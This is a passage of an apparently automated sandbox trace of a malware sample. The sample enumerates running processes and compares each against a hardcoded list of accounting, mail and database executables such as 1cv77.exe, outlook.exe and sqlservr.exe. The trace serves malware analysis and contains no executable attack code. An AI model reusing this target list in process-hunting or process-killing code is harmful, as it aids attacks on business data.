	[0063.107] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="skype.exe") returned -1
	[0063.107] lstrcmpiW (lpString1="mysqld.exe", lpString2="skype.exe") returned -1
	[0063.107] lstrcmpiW (lpString1="sqlservr.exe", lpString2="skype.exe") returned 1
	[0063.107] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0063.108] lstrlenW (lpString="smartftp.exe") returned 12
	[0063.108] lstrcmpiW (lpString1="1c8.exe", lpString2="smartftp.exe") returned -1
	[0063.108] lstrcmpiW (lpString1="1cv77.exe", lpString2="smartftp.exe") returned -1
	[0063.108] lstrcmpiW (lpString1="outlook.exe", lpString2="smartftp.exe") returned -1
	[0063.108] lstrcmpiW (lpString1="postgres.exe", lpString2="smartftp.exe") returned -1
	[0063.108] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smartftp.exe") returned -1
	[0063.108] lstrcmpiW (lpString1="mysqld.exe", lpString2="smartftp.exe") returned -1
	[0063.108] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smartftp.exe") returned 1
	[0063.108] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0063.109] lstrlenW (lpString="thunderbird.exe") returned 15
	[0063.109] lstrcmpiW (lpString1="1c8.exe", lpString2="thunderbird.exe") returned -1
	[0063.109] lstrcmpiW (lpString1="1cv77.exe", lpString2="thunderbird.exe") returned -1
	[0063.109] lstrcmpiW (lpString1="outlook.exe", lpString2="thunderbird.exe") returned -1
	[0063.109] lstrcmpiW (lpString1="postgres.exe", lpString2="thunderbird.exe") returned -1
	[0063.109] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="thunderbird.exe") returned -1
	[0063.109] lstrcmpiW (lpString1="mysqld.exe", lpString2="thunderbird.exe") returned -1
	[0063.109] lstrcmpiW (lpString1="sqlservr.exe", lpString2="thunderbird.exe") returned -1
	[0063.109] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0063.110] lstrlenW (lpString="totalcmd.exe") returned 12
	[0063.110] lstrcmpiW (lpString1="1c8.exe", lpString2="totalcmd.exe") returned -1
	[0063.110] lstrcmpiW (lpString1="1cv77.exe", lpString2="totalcmd.exe") returned -1
	[0063.110] lstrcmpiW (lpString1="outlook.exe", lpString2="totalcmd.exe") returned -1
	[0063.110] lstrcmpiW (lpString1="postgres.exe", lpString2="totalcmd.exe") returned -1
	[0063.110] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="totalcmd.exe") returned -1
	[0063.110] lstrcmpiW (lpString1="mysqld.exe", lpString2="totalcmd.exe") returned -1
	[0063.110] lstrcmpiW (lpString1="sqlservr.exe", lpString2="totalcmd.exe") returned -1
	[0063.110] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0063.111] lstrlenW (lpString="trillian.exe") returned 12
	[0063.111] lstrcmpiW (lpString1="1c8.exe", lpString2="trillian.exe") returned -1
	[0063.111] lstrcmpiW (lpString1="1cv77.exe", lpString2="trillian.exe") returned -1
	[0063.111] lstrcmpiW (lpString1="outlook.exe", lpString2="trillian.exe") returned -1
	[0063.111] lstrcmpiW (lpString1="postgres.exe", lpString2="trillian.exe") returned -1
	[0063.111] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="trillian.exe") returned -1
	[0063.111] lstrcmpiW (lpString1="mysqld.exe", lpString2="trillian.exe") returned -1
	[0063.111] lstrcmpiW (lpString1="sqlservr.exe", lpString2="trillian.exe") returned -1
	[0063.111] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0063.112] lstrlenW (lpString="webdrive.exe") returned 12
	[0063.112] lstrcmpiW (lpString1="1c8.exe", lpString2="webdrive.exe") returned -1
	[0063.112] lstrcmpiW (lpString1="1cv77.exe", lpString2="webdrive.exe") returned -1
	[0063.112] lstrcmpiW (lpString1="outlook.exe", lpString2="webdrive.exe") returned -1
	[0063.112] lstrcmpiW (lpString1="postgres.exe", lpString2="webdrive.exe") returned -1
	[0063.112] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="webdrive.exe") returned -1
	[0063.112] lstrcmpiW (lpString1="mysqld.exe", lpString2="webdrive.exe") returned -1
	[0063.112] lstrcmpiW (lpString1="sqlservr.exe", lpString2="webdrive.exe") returned -1
	[0063.112] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0063.113] lstrlenW (lpString="whatsapp.exe") returned 12
	[0063.113] lstrcmpiW (lpString1="1c8.exe", lpString2="whatsapp.exe") returned -1
	[0063.113] lstrcmpiW (lpString1="1cv77.exe", lpString2="whatsapp.exe") returned -1
	[0063.113] lstrcmpiW (lpString1="outlook.exe", lpString2="whatsapp.exe") returned -1
	[0063.113] lstrcmpiW (lpString1="postgres.exe", lpString2="whatsapp.exe") returned -1
	[0063.113] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="whatsapp.exe") returned -1
	[0063.113] lstrcmpiW (lpString1="mysqld.exe", lpString2="whatsapp.exe") returned -1
	[0063.113] lstrcmpiW (lpString1="sqlservr.exe", lpString2="whatsapp.exe") returned -1
	[0063.113] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0063.114] lstrlenW (lpString="winscp.exe") returned 10
	[0063.114] lstrcmpiW (lpString1="1c8.exe", lpString2="winscp.exe") returned -1
	[0063.114] lstrcmpiW (lpString1="1cv77.exe", lpString2="winscp.exe") returned -1
	[0063.114] lstrcmpiW (lpString1="outlook.exe", lpString2="winscp.exe") returned -1
	[0063.114] lstrcmpiW (lpString1="postgres.exe", lpString2="winscp.exe") returned -1
	[0063.114] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winscp.exe") returned -1
	[0063.114] lstrcmpiW (lpString1="mysqld.exe", lpString2="winscp.exe") returned -1
	[0063.114] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winscp.exe") returned -1
	[0063.114] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0063.115] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0063.115] lstrcmpiW (lpString1="1c8.exe", lpString2="yahoomessenger.exe") returned -1
	[0063.115] lstrcmpiW (lpString1="1cv77.exe", lpString2="yahoomessenger.exe") returned -1
	[0063.115] lstrcmpiW (lpString1="outlook.exe", lpString2="yahoomessenger.exe") returned -1
	[0063.115] lstrcmpiW (lpString1="postgres.exe", lpString2="yahoomessenger.exe") returned -1
	[0063.115] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="yahoomessenger.exe") returned -1
	[0063.115] lstrcmpiW (lpString1="mysqld.exe", lpString2="yahoomessenger.exe") returned -1
	[0063.115] lstrcmpiW (lpString1="sqlservr.exe", lpString2="yahoomessenger.exe") returned -1
	[0063.115] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0063.116] lstrlenW (lpString="active-charge.exe") returned 17
	[0063.116] lstrcmpiW (lpString1="1c8.exe", lpString2="active-charge.exe") returned -1
	[0063.116] lstrcmpiW (lpString1="1cv77.exe", lpString2="active-charge.exe") returned -1
	[0063.116] lstrcmpiW (lpString1="outlook.exe", lpString2="active-charge.exe") returned 1
	[0063.116] lstrcmpiW (lpString1="postgres.exe", lpString2="active-charge.exe") returned 1
	[0063.116] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="active-charge.exe") returned 1
	[0063.116] lstrcmpiW (lpString1="mysqld.exe", lpString2="active-charge.exe") returned 1
	[0063.116] lstrcmpiW (lpString1="sqlservr.exe", lpString2="active-charge.exe") returned 1
	[0063.116] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0063.117] lstrlenW (lpString="accupos.exe") returned 11
	[0063.117] lstrcmpiW (lpString1="1c8.exe", lpString2="accupos.exe") returned -1
	[0063.117] lstrcmpiW (lpString1="1cv77.exe", lpString2="accupos.exe") returned -1
	[0063.117] lstrcmpiW (lpString1="outlook.exe", lpString2="accupos.exe") returned 1
	[0063.117] lstrcmpiW (lpString1="postgres.exe", lpString2="accupos.exe") returned 1
	[0063.117] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="accupos.exe") returned 1
	[0063.117] lstrcmpiW (lpString1="mysqld.exe", lpString2="accupos.exe") returned 1
	[0063.117] lstrcmpiW (lpString1="sqlservr.exe", lpString2="accupos.exe") returned 1
	[0063.117] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0063.118] lstrlenW (lpString="afr38.exe") returned 9
	[0063.118] lstrcmpiW (lpString1="1c8.exe", lpString2="afr38.exe") returned -1
	[0063.118] lstrcmpiW (lpString1="1cv77.exe", lpString2="afr38.exe") returned -1
	[0063.118] lstrcmpiW (lpString1="outlook.exe", lpString2="afr38.exe") returned 1
	[0063.118] lstrcmpiW (lpString1="postgres.exe", lpString2="afr38.exe") returned 1
	[0063.118] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="afr38.exe") returned 1
	[0063.118] lstrcmpiW (lpString1="mysqld.exe", lpString2="afr38.exe") returned 1
	[0063.118] lstrcmpiW (lpString1="sqlservr.exe", lpString2="afr38.exe") returned 1
	[0063.118] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0063.119] lstrlenW (lpString="aldelo.exe") returned 10
	[0063.119] lstrcmpiW (lpString1="1c8.exe", lpString2="aldelo.exe") returned -1
	[0063.119] lstrcmpiW (lpString1="1cv77.exe", lpString2="aldelo.exe") returned -1
	[0063.119] lstrcmpiW (lpString1="outlook.exe", lpString2="aldelo.exe") returned 1
	[0063.119] lstrcmpiW (lpString1="postgres.exe", lpString2="aldelo.exe") returned 1
	[0063.119] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="aldelo.exe") returned 1
	[0063.119] lstrcmpiW (lpString1="mysqld.exe", lpString2="aldelo.exe") returned 1
	[0063.119] lstrcmpiW (lpString1="sqlservr.exe", lpString2="aldelo.exe") returned 1
	[0063.119] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0063.120] lstrlenW (lpString="ccv_server.exe") returned 14
	[0063.120] lstrcmpiW (lpString1="1c8.exe", lpString2="ccv_server.exe") returned -1
	[0063.120] lstrcmpiW (lpString1="1cv77.exe", lpString2="ccv_server.exe") returned -1
	[0063.120] lstrcmpiW (lpString1="outlook.exe", lpString2="ccv_server.exe") returned 1
	[0063.120] lstrcmpiW (lpString1="postgres.exe", lpString2="ccv_server.exe") returned 1
	[0063.120] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="ccv_server.exe") returned 1
	[0063.120] lstrcmpiW (lpString1="mysqld.exe", lpString2="ccv_server.exe") returned 1
	[0063.120] lstrcmpiW (lpString1="sqlservr.exe", lpString2="ccv_server.exe") returned 1
	[0063.120] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0063.121] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0063.121] lstrcmpiW (lpString1="1c8.exe", lpString2="centralcreditcard.exe") returned -1
	[0063.121] lstrcmpiW (lpString1="1cv77.exe", lpString2="centralcreditcard.exe") returned -1
	[0063.121] lstrcmpiW (lpString1="outlook.exe", lpString2="centralcreditcard.exe") returned 1
	[0063.121] lstrcmpiW (lpString1="postgres.exe", lpString2="centralcreditcard.exe") returned 1
	[0063.121] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="centralcreditcard.exe") returned 1
	[0063.121] lstrcmpiW (lpString1="mysqld.exe", lpString2="centralcreditcard.exe") returned 1
	[0063.121] lstrcmpiW (lpString1="sqlservr.exe", lpString2="centralcreditcard.exe") returned 1
	[0063.121] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0063.122] lstrlenW (lpString="creditservice.exe") returned 17
	[0063.122] lstrcmpiW (lpString1="1c8.exe", lpString2="creditservice.exe") returned -1
	[0063.122] lstrcmpiW (lpString1="1cv77.exe", lpString2="creditservice.exe") returned -1
	[0063.122] lstrcmpiW (lpString1="outlook.exe", lpString2="creditservice.exe") returned 1
	[0063.122] lstrcmpiW (lpString1="postgres.exe", lpString2="creditservice.exe") returned 1
	[0063.122] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="creditservice.exe") returned 1
	[0063.122] lstrcmpiW (lpString1="mysqld.exe", lpString2="creditservice.exe") returned 1
	[0063.122] lstrcmpiW (lpString1="sqlservr.exe", lpString2="creditservice.exe") returned 1
	[0063.122] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0063.123] lstrlenW (lpString="edcsvr.exe") returned 10
	[0063.123] lstrcmpiW (lpString1="1c8.exe", lpString2="edcsvr.exe") returned -1
	[0063.123] lstrcmpiW (lpString1="1cv77.exe", lpString2="edcsvr.exe") returned -1
	[0063.123] lstrcmpiW (lpString1="outlook.exe", lpString2="edcsvr.exe") returned 1
	[0063.123] lstrcmpiW (lpString1="postgres.exe", lpString2="edcsvr.exe") returned 1
	[0063.123] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="edcsvr.exe") returned 1
	[0063.123] lstrcmpiW (lpString1="mysqld.exe", lpString2="edcsvr.exe") returned 1
	[0063.123] lstrcmpiW (lpString1="sqlservr.exe", lpString2="edcsvr.exe") returned 1
	[0063.123] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0063.124] lstrlenW (lpString="fpos.exe") returned 8
	[0063.124] lstrcmpiW (lpString1="1c8.exe", lpString2="fpos.exe") returned -1
	[0063.124] lstrcmpiW (lpString1="1cv77.exe", lpString2="fpos.exe") returned -1
	[0063.124] lstrcmpiW (lpString1="outlook.exe", lpString2="fpos.exe") returned 1
	[0063.124] lstrcmpiW (lpString1="postgres.exe", lpString2="fpos.exe") returned 1
	[0063.124] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="fpos.exe") returned 1
	[0063.124] lstrcmpiW (lpString1="mysqld.exe", lpString2="fpos.exe") returned 1
	[0063.124] lstrcmpiW (lpString1="sqlservr.exe", lpString2="fpos.exe") returned 1
	[0063.124] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0063.125] lstrlenW (lpString="isspos.exe") returned 10
	[0063.125] lstrcmpiW (lpString1="1c8.exe", lpString2="isspos.exe") returned -1
	[0063.125] lstrcmpiW (lpString1="1cv77.exe", lpString2="isspos.exe") returned -1
	[0063.125] lstrcmpiW (lpString1="outlook.exe", lpString2="isspos.exe") returned 1
	[0063.125] lstrcmpiW (lpString1="postgres.exe", lpString2="isspos.exe") returned 1
	[0063.125] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="isspos.exe") returned 1
	[0063.125] lstrcmpiW (lpString1="mysqld.exe", lpString2="isspos.exe") returned 1
	[0063.125] lstrcmpiW (lpString1="sqlservr.exe", lpString2="isspos.exe") returned 1
	[0063.125] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0063.126] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0063.126] lstrcmpiW (lpString1="1c8.exe", lpString2="mxslipstream.exe") returned -1
	[0063.126] lstrcmpiW (lpString1="1cv77.exe", lpString2="mxslipstream.exe") returned -1
	[0063.126] lstrcmpiW (lpString1="outlook.exe", lpString2="mxslipstream.exe") returned 1
	[0063.126] lstrcmpiW (lpString1="postgres.exe", lpString2="mxslipstream.exe") returned 1
	[0063.126] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="mxslipstream.exe") returned 1
	[0063.126] lstrcmpiW (lpString1="mysqld.exe", lpString2="mxslipstream.exe") returned 1
	[0063.126] lstrcmpiW (lpString1="sqlservr.exe", lpString2="mxslipstream.exe") returned 1
	[0063.126] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0063.127] lstrlenW (lpString="omnipos.exe") returned 11
	[0063.127] lstrcmpiW (lpString1="1c8.exe", lpString2="omnipos.exe") returned -1
	[0063.127] lstrcmpiW (lpString1="1cv77.exe", lpString2="omnipos.exe") returned -1
	[0063.127] lstrcmpiW (lpString1="outlook.exe", lpString2="omnipos.exe") returned 1
	[0063.127] lstrcmpiW (lpString1="postgres.exe", lpString2="omnipos.exe") returned 1
	[0063.127] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="omnipos.exe") returned -1
	[0063.127] lstrcmpiW (lpString1="mysqld.exe", lpString2="omnipos.exe") returned -1
	[0063.127] lstrcmpiW (lpString1="sqlservr.exe", lpString2="omnipos.exe") returned 1
	[0063.127] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0063.127] lstrlenW (lpString="spcwin.exe") returned 10
	[0063.127] lstrcmpiW (lpString1="1c8.exe", lpString2="spcwin.exe") returned -1
	[0063.128] lstrcmpiW (lpString1="1cv77.exe", lpString2="spcwin.exe") returned -1
	[0063.128] lstrcmpiW (lpString1="outlook.exe", lpString2="spcwin.exe") returned -1
	[0063.128] lstrcmpiW (lpString1="postgres.exe", lpString2="spcwin.exe") returned -1
	[0063.128] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="spcwin.exe") returned -1
	[0063.128] lstrcmpiW (lpString1="mysqld.exe", lpString2="spcwin.exe") returned -1
	[0063.128] lstrcmpiW (lpString1="sqlservr.exe", lpString2="spcwin.exe") returned 1
	[0063.128] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0063.157] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0063.157] lstrcmpiW (lpString1="1c8.exe", lpString2="spgagentservice.exe") returned -1
	[0063.157] lstrcmpiW (lpString1="1cv77.exe", lpString2="spgagentservice.exe") returned -1
	[0063.157] lstrcmpiW (lpString1="outlook.exe", lpString2="spgagentservice.exe") returned -1
	[0063.157] lstrcmpiW (lpString1="postgres.exe", lpString2="spgagentservice.exe") returned -1
	[0063.157] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="spgagentservice.exe") returned -1
	[0063.157] lstrcmpiW (lpString1="mysqld.exe", lpString2="spgagentservice.exe") returned -1
	[0063.157] lstrcmpiW (lpString1="sqlservr.exe", lpString2="spgagentservice.exe") returned 1
	[0063.157] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0063.158] lstrlenW (lpString="utg2.exe") returned 8
	[0063.158] lstrcmpiW (lpString1="1c8.exe", lpString2="utg2.exe") returned -1
	[0063.158] lstrcmpiW (lpString1="1cv77.exe", lpString2="utg2.exe") returned -1
	[0063.159] lstrcmpiW (lpString1="outlook.exe", lpString2="utg2.exe") returned -1
	[0063.159] lstrcmpiW (lpString1="postgres.exe", lpString2="utg2.exe") returned -1
	[0063.159] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="utg2.exe") returned -1
	[0063.159] lstrcmpiW (lpString1="mysqld.exe", lpString2="utg2.exe") returned -1
	[0063.159] lstrcmpiW (lpString1="sqlservr.exe", lpString2="utg2.exe") returned -1
	[0063.159] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="machinesaladafterwards.exe")) returned 1
	[0063.159] lstrlenW (lpString="machinesaladafterwards.exe") returned 26
	[0063.159] lstrcmpiW (lpString1="1c8.exe", lpString2="machinesaladafterwards.exe") returned -1
	[0063.159] lstrcmpiW (lpString1="1cv77.exe", lpString2="machinesaladafterwards.exe") returned -1
	[0063.160] lstrcmpiW (lpString1="outlook.exe", lpString2="machinesaladafterwards.exe") returned 1
	[0063.160] lstrcmpiW (lpString1="postgres.exe", lpString2="machinesaladafterwards.exe") returned 1
	[0063.160] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="machinesaladafterwards.exe") returned 1
	[0063.160] lstrcmpiW (lpString1="mysqld.exe", lpString2="machinesaladafterwards.exe") returned 1
	[0063.160] lstrcmpiW (lpString1="sqlservr.exe", lpString2="machinesaladafterwards.exe") returned 1
	[0063.160] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiers-ag.exe")) returned 1
	[0063.161] lstrlenW (lpString="cashiers-ag.exe") returned 15
	[0063.161] lstrcmpiW (lpString1="1c8.exe", lpString2="cashiers-ag.exe") returned -1
	[0063.161] lstrcmpiW (lpString1="1cv77.exe", lpString2="cashiers-ag.exe") returned -1
	[0063.161] lstrcmpiW (lpString1="outlook.exe", lpString2="cashiers-ag.exe") returned 1
	[0063.161] lstrcmpiW (lpString1="postgres.exe", lpString2="cashiers-ag.exe") returned 1
	[0063.161] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="cashiers-ag.exe") returned 1
	[0063.161] lstrcmpiW (lpString1="mysqld.exe", lpString2="cashiers-ag.exe") returned 1
	[0063.161] lstrcmpiW (lpString1="sqlservr.exe", lpString2="cashiers-ag.exe") returned 1
	[0063.161] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x101c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospective-ok-douglas.exe")) returned 1
	[0063.162] lstrlenW (lpString="prospective-ok-douglas.exe") returned 26
	[0063.162] lstrcmpiW (lpString1="1c8.exe", lpString2="prospective-ok-douglas.exe") returned -1
	[0063.162] lstrcmpiW (lpString1="1cv77.exe", lpString2="prospective-ok-douglas.exe") returned -1
	[0063.162] lstrcmpiW (lpString1="outlook.exe", lpString2="prospective-ok-douglas.exe") returned -1
	[0063.162] lstrcmpiW (lpString1="postgres.exe", lpString2="prospective-ok-douglas.exe") returned -1
	[0063.162] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="prospective-ok-douglas.exe") returned -1
	[0063.162] lstrcmpiW (lpString1="mysqld.exe", lpString2="prospective-ok-douglas.exe") returned -1
	[0063.162] lstrcmpiW (lpString1="sqlservr.exe", lpString2="prospective-ok-douglas.exe") returned 1
	[0063.162] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="limitedcatchexemption.exe")) returned 1
	[0063.163] lstrlenW (lpString="limitedcatchexemption.exe") returned 25
	[0063.163] lstrcmpiW (lpString1="1c8.exe", lpString2="limitedcatchexemption.exe") returned -1
	[0063.163] lstrcmpiW (lpString1="1cv77.exe", lpString2="limitedcatchexemption.exe") returned -1
	[0063.163] lstrcmpiW (lpString1="outlook.exe", lpString2="limitedcatchexemption.exe") returned 1
	[0063.163] lstrcmpiW (lpString1="postgres.exe", lpString2="limitedcatchexemption.exe") returned 1
	[0063.163] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="limitedcatchexemption.exe") returned 1
	[0063.163] lstrcmpiW (lpString1="mysqld.exe", lpString2="limitedcatchexemption.exe") returned 1
	[0063.163] lstrcmpiW (lpString1="sqlservr.exe", lpString2="limitedcatchexemption.exe") returned 1
